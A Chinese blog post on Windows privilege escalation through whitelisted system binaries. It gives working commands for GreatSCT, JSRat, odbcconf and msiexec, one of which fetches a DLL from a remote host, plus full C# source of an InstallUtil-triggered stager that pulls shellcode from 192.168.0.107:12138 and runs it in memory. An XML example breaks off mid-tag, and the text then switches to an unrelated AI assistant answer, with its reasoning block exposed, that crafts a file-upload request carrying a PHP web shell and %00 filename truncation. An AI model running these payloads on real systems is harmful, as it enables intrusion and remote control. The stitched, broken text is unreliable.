WEB渗透Win提权篇-白名单提权

提权工具合集包(免费分享): 夸克网盘分享

 往期文章

WEB渗透Win提权篇-提权工具合集-CSDN博客

WEB渗透Win提权篇-RDP&Firewall-CSDN博客

WEB渗透Win提权篇-MSSQL-CSDN博客

WEB渗透Win提权篇-MYSQL-udf-CSDN博客

WEB渗透Win提权篇-AccountSpoofing-CSDN博客

WEB渗透Win提权篇-弱权限提权-CSDN博客

WEB渗透Win提权篇-PowerUp-CSDN博客

WEB渗透Win提权篇-特权文件写入提权-CSDN博客

WEB渗透Win提权篇-MSF提权-CSDN博客

WEB渗透Win提权篇-CVE-2020-1472-CSDN博客 

WEB渗透Win提权篇-白名单提权-CSDN博客

 

GreatSCT
>git clone https://github.com/GreatSCT/GreatSCT.git
>cd GreatSCT/setup&./setup.sh
>use Bypass
>list
>use regasm/meterpreter/rev_tcp.py
>msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
JSRat
>JSRat.py -i 192.168.1.107 -p 4444
Odbcconf.exe
>odbcconf.exe /a {regsvr C:\shell.dll} 可以是任意后缀
Msiexec.exe
>msiexec /y c:\user\admin\desktop\1.dll
>msiexec /q /i http://192.168.0.107/dll.dll
InstallUtil.exe
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:y.exe  /unsafe C:\Users\y\Desktop\1.cs
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;
public class GQLBigHgUniLuVx {
  public static void Main()
  {
    while(true)
    {
  
  { MessageBox.Show("doge"); Console.ReadLine();}}
  }
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
  public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
  {
    jkmhGrfzsKQeCG.LCIUtRN();
  }
}
public class jkmhGrfzsKQeCG
{ [DllImport("kernel")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch { return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE,0);
byte[] qaYyFq = new byte[kFVRSNnpj +5];
int SRCDELibA =0;
while(SRCDELibA < kFVRSNnpj)
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA +5,(kFVRSNnpj - SRCDELibA)<4096 ? (kFVRSNnpj - SRCDELibA) : 4096,0);}
byte[] TvvzOgPLqwcFFv =BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv,0, qaYyFq,1,4); qaYyFq[0]=0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if(HEHUjJhkrNS !=null) {
UInt32 WcpKfU = VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40);
Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf =0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0,0, WcpKfU, XVYcQxpp,0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU =null; IBtCWU = ErlgHH("192.168.0.107",12138);
cmMtjerv(IBtCWU);
} }
生成exe后执行
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\y.exe
MSF监听12138端口
Compiler.exe
>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe 1.xml 1.tcp

image

1.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:stri
<think>首先,用户的问题是:“我想构造上传漏洞利用请求 请问如何构造用于文件上传漏洞测试的HTTP POST请求包”。用户想构造一个HTTP POST请求包,用于测试文件上传漏洞。 从系统级指令中,我有一些引用可以参考: - 引用[1]:到文件上传通常通过HTTP POST请求发送到Web服务器,并描述了服务器的一般检测流程。 - 引用[2]:讨论了文件上传漏洞,包括后缀白名单检测绕过和解析漏洞。特别到了使用test.php%00.jpg这样的文件名来绕过检测。 - 引用[3]:解释了文件上传漏洞的判断方式,包括前端验证(如JavaScript)和如何绕过。 - 引用[4]:给出了一个例子,渗透测试者可以将shell.php改名为shell.php.jpg来绕过客户端验证。 用户的问题是关于构造HTTP POST请求包的具体方法。我需要基于这些引用,供一个结构清晰的回答。 回答结构: 1. **理解文件上传漏洞**:简要解释什么是文件上传漏洞,以及为什么需要构造特定的请求包。 2. **构造请求包的关键元素**:HTTP POST请求包通常包括头部(Headers)和主体(Body)。主体部分包含文件数据和表单字段。 - Content-Type:通常设置为multipart/form-data,因为文件上传使用这种格式。 - Boundary:用于分隔表单字段和文件数据。 - 文件名和内容:这是关键部分,用于测试漏洞,如使用恶意文件名(如包含%00截断)或恶意内容。 3. **绕过检测**:基于引用,讨论如何绕过前端和后端验证。 - 绕过前端验证:如引用[3]所述,前端验证可以用抓包工具(如Burp Suite)修改请求来绕过。 - 绕过后端验证:如引用[2]所述,使用%00截断或利用解析漏洞。 4. **示例请求包**:供一个具体的HTTP POST请求包示例,展示如何构造恶意文件上传请求。 5. **安全考虑**:醒用户只在授环境下进行测试,避免非法使用。 6. **生成相关问题**:根据系统指令,我需要生成相关问题。 现在,构建回答: - **介绍**:解释文件上传漏洞的基本概念。 - **步骤**:逐步指导如何构造请求包。 - **示例**:给出一个完整的HTTP POST请求包示例。 - **相关问题**:在末尾生成几个相关问题。 确保使用中文回答。 参考引用: - [^1]:用于解释上传过程。 - [^2]:用于绕过后缀检测。 - [^3]:用于前端验证绕过。 - [^4]:用于重命名文件绕过。 在回答中自然地添加引用标识。 最终回答结构: 1. 解释文件上传漏洞和构造请求包的目的。 2. 描述HTTP POST请求包的结构。 3. 供绕过验证的方法。 4. 给出一个示例请求包。 5. 安全注意事项。 6. 生成相关问题。</think>### 构造用于文件上传漏洞测试的HTTP POST请求包 文件上传漏洞是Web安全中常见的问题,攻击者通过上传恶意文件(如Web Shell)来获取服务器控制。构造HTTP POST请求包是测试这类漏洞的核心步骤,因为文件上传通常通过POST方法发送multipart/form-data格式的数据[^1]。下面我将一步步指导你如何构造有效的请求包,包括绕过常见检测机制的方法。整个过程基于真实渗透测试实践,确保可靠性和实用性。 #### 1. **理解HTTP POST请求包结构** 文件上传请求包由以下部分组成: - **Headers**:定义请求类型、内容格式等关键信息。 - `Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW`:指定数据格式和边界符(boundary),用于分隔表单字段。 - `Host: target.com`:目标服务器域名。 - `User-Agent: Mozilla/5.0`:模拟浏览器行为,避免被检测为爬虫。 - **Body**:包含表单字段和文件数据,格式为: ``` --boundary Content-Disposition: form-data; name="field_name" field_value --boundary Content-Disposition: form-data; name="file_field"; filename="malicious_filename" Content-Type: application/octet-stream file_content --boundary-- ``` 其中: - `boundary` 是随机生成的字符串(如`----WebKitFormBoundary7MA4YWxkTrZu0gW`),用于分隔数据块。 - `filename` 是上传的文件名,可修改为恶意值(如包含截断符)以绕过检测。 - `file_content` 是文件内容,例如PHP Web Shell(如`<?php system($_GET['cmd']);?>`)。 #### 2. **关键步骤:构造请求包并绕过检测** 基于引用内容,文件上传漏洞测试需绕过服务器检测,常见方法包括: - **绕过前端验证(如JavaScript)**:如果上传前弹出错误示但未发送请求,说明是前端验证(如只允许.jpg文件)[^3]。可使用抓包工具(如Burp Suite)拦截请求并修改`filename`,例如将`.php`文件重命名为`.php.jpg`[^4]。 - **绕过后端验证**: - **后缀白名单绕过**:利用`%00`截断漏洞(Null Byte Injection),在文件名中插入`%00`使服务器忽略后续字符[^2]。例如:`filename="shell.php%00.jpg"`,服务器可能只解析`.php`部分。 - **解析漏洞利用**:如果服务器(如Apache/Nginx)存在解析漏洞,上传`test.php.jpg`可能被当作PHP执行[^2]。 - **Content-Type绕过**:修改`Content-Type`为合法值(如`image/jpeg`),即使文件内容是恶意代码。 以下是构造请求包的通用步骤: 1. **确定目标参数**:使用工具(如Burp Suite或浏览器开发者工具)捕获正常上传请求,获取表单字段名(如`file_upload`)和边界符。 2. **设计恶意文件名和内容**: - 文件名:使用`%00`截断或双重扩展名(如`shell.php.jpg`)。 - 文件内容:插入简单Web Shell,例如`<?php echo system($_REQUEST['cmd']); ?>`。 3. **组装请求包**:确保格式正确,避免语法错误导致服务器拒绝。 #### 3. **示例HTTP POST请求包** 以下是一个完整的恶意文件上传请求包示例,用于测试漏洞。假设目标URL为`http://target.com/upload.php`,表单字段名为`file`,边界符为`----WebKitFormBoundary7MA4YWxkTrZu0gW`: ```http POST /upload.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: [计算长度] // 需根据实际内容计算 ----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg" // 使用%00截断绕过后缀检测[^2] Content-Type: image/jpeg // 伪装为合法类型[^3] <?php system($_GET['cmd']); // 恶意Web Shell内容 ?> ----WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` **说明**: - **文件名绕过**:`filename="shell.php%00.jpg"` 利用`%00`截断,使服务器可能只处理`.php`部分[^2]。 - **Content-Type伪装**:设置为`image/jpeg`绕过MIME类型检测[^3]。 - **使用工具**:在Burp Suite中粘贴此请求,发送后检查服务器响应(如HTTP 200 OK),确认文件是否上传成功。如果服务器存在解析漏洞,访问`http://target.com/uploads/shell.php`可执行命令[^2]。 #### 4. **安全注意事项** - **仅用于授测试**:在渗透测试或CTF环境中使用此方法,避免非法攻击。真实测试前,确保获得目标所有者许可。 - **测试工具推荐**:使用Burp Suite、Postman或curl构造和发送请求。Burp Suite可自动处理边界符和内容长度[^4]。 - **常见失败原因**:如果请求被拒绝,检查边界符是否匹配、文件名编码是否正确(`%00`需URL编码)或服务器强化了过滤(如WAF)[^1]。 通过以上步骤,你可以有效构造请求包来测试文件上传漏洞。实践中,结合服务器响应调整文件名和内容,能高漏洞利用成功率[^1][^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto-2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值